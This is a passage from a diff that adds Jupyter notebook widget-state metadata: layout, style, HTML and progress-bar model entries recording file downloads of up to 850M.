+            "style": "IPY_MODEL_51489d4ab908478ebfb5a7ac43d411d4",
+            "value": "Downloading: 100%"
+          }
+        },
+        "8f39ab0076074ed9aedecf74e23cd0e9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "90f16d88293b4968a59c5ce2f121038b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "91bf1ef20b4342e988e1b4f0f54e33a1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9312531b7d87427995a7bd8068e1e96c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "93346ba6351145f0a7bf161647c8a08f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9347ab21cab04cc8a2bffb068aef51a6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8397c4fa95df4873821d74775b19a153",
+              "IPY_MODEL_fb8198f88f6a43dbb5d39ec5f353b1af",
+              "IPY_MODEL_7b9925f38cf149af8fd811f7442d2ae4"
+            ],
+            "layout": "IPY_MODEL_e052caaf34424ae994cc821acd0a5e54"
+          }
+        },
+        "9356897f789d46ddb246cc90f9cbf5ec": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "936ea713a4ea4682a80cc8e7550739ef": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "93ff8078a5f946bf9cf3bf798dba91d0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "94f126aaf79944bebda94fbbfcd19f31": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9587feaa0ee44d2eba46b34eaa93e8a1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "975204d9820b4b29a0dffc154dc3e0e6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "97b0390278424f8897b073677cfc5ce9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2756b99c1d084219b7847d7644240ade",
+            "placeholder": "",
+            "style": "IPY_MODEL_a7ee417191b0409aa23dd6d6a696da32",
+            "value": " 418M/418M [00:28<00:00, 44.7MB/s]"
+          }
+        },
+        "97d49dcd201c4b43bd28d14b60834429": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "98145c54bcc24164b30c72aa3b7a6e1c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3d98791950bb488fad7c3e6b5c509741",
+            "max": 65,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1ad6f7c8092945af9d0807c103615e23",
+            "value": 65
+          }
+        },
+        "99f8e2ea08a54d5da15ebf0513c4df11": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ad78b27bc1c493aa4e9d5ad668ecc24": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9b3e01492a714b69ad3ffe97f89950f8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_7b1e006a345c48368a5fe099e118112d",
+              "IPY_MODEL_98145c54bcc24164b30c72aa3b7a6e1c",
+              "IPY_MODEL_9dd1a8e112414ca6976b8b5028982574"
+            ],
+            "layout": "IPY_MODEL_ef545b9f69a545b4a76006a5f91a69e8"
+          }
+        },
+        "9c0e317ac1254781846618317ebcae0e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9c41ab118fd441e8b7880e1ae9db6f63": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "9c7962f1be504e999d0381ef8a7f50b4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9d439c7d992c4b75b216a81e6139aeb3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d9938fb65f74a489993ae5a29b9d8e8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4f1c774e457e45788a4bd2c8d93a7a33",
+              "IPY_MODEL_223aca713efa4584b14544858efe451e",
+              "IPY_MODEL_674124ad99b74606974a35e39d9d64b8"
+            ],
+            "layout": "IPY_MODEL_68c74e97b5a8407b9d22e8154ed7f712"
+          }
+        },
+        "9dd1a8e112414ca6976b8b5028982574": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_89b9666f0324479aaa0d9da395c27c16",
+            "placeholder": "",
+            "style": "IPY_MODEL_186e5d787132428b9fd34eaff9c38520",
+            "value": " 65.0/65.0 [00:00<00:00, 1.08kB/s]"
+          }
+        },
+        "9e2230dc92d74319ac169bc472e58a51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5b9203920132437db5b017ba09a39b0b",
+            "max": 1123,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_91bf1ef20b4342e988e1b4f0f54e33a1",
+            "value": 1123
+          }
+        },
+        "a0791b7ccc8c472595f1019ea9ab5d88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a09f4245b86c462c96ab6ccab5c15a3e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2fe7d333556643a6b7aa3e7b3d23ad2f",
+            "placeholder": "",
+            "style": "IPY_MODEL_7c64ea6969164119a63abd6a614e2a80",
+            "value": "Downloading: 100%"
+          }
+        },
+        "a12ac053391d4300a6eacfd70e07fa09": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_137705f8b18f40199162c524c85ae0a4",
+            "placeholder": "",
+            "style": "IPY_MODEL_b96583c353884a4e8f21bf92bdcd0088",
+            "value": " 850M/850M [01:00<00:00, 11.3MB/s]"
+          }
+        },
+        "a139333e180747e1abdc3d4c4602c198": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b3f2482c12b34af7819883a536fbcb02",
+            "max": 1208,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_1de3ba7448d84e6f9db219dae03e4e52",
+            "value": 1208
+          }
+        },
+        "a20cddef0f084bb08495a01557b8ff93": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a285ee78e0744e55a1a7b74a5d03a457": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a2c35454d0584604bed05eb87cdd6a5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a3d3d82a9773428a9a25129bfa24e767": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3632a37fad9e4f9ca6e74a3cd48e1926",
+            "placeholder": "",
+            "style": "IPY_MODEL_5cbc66891157476c8f43663695bdb2b3",
+            "value": "Downloading: 100%"
+          }
+        },
+        "a4d5aef0d776412a8be4c76ae7417146": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_056e20803e0841c7b418a70169e9426f",
+            "placeholder": "",
+            "style": "IPY_MODEL_ca7ffef490174bd1a8084cdbe4f71eb2",
+            "value": "Downloading: 100%"
+          }
+        },
+        "a4fc19dd5e8d4c7dba05a192d023b2cf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b09adc774e894f2fab5f72881985a04b",
+              "IPY_MODEL_60958370fb1142a2b8cf1d473f71d2ab",
+              "IPY_MODEL_e465db2ff0274910a6131beafdeb570b"
+            ],
+            "layout": "IPY_MODEL_b2de980b184d449cb0d37bf86672ac74"
+          }
+        },
+        "a5162ec682cc44d1a39a2400697acfa9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f443f63ec7d049c895e463bc5f98c191",
+            "placeholder": "",
+            "style": "IPY_MODEL_c3a95c1c7c2d47c0a52d1d3f7b2f7193",
+            "value": " 773k/773k [00:00<00:00, 9.77MB/s]"
+          }
+        },
+        "a569ef16bd54481da270b628b8a38dc7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a6cd693cabba4723b5ed8daeefe88916": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a6e827f8673442af89429049b1e72075": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
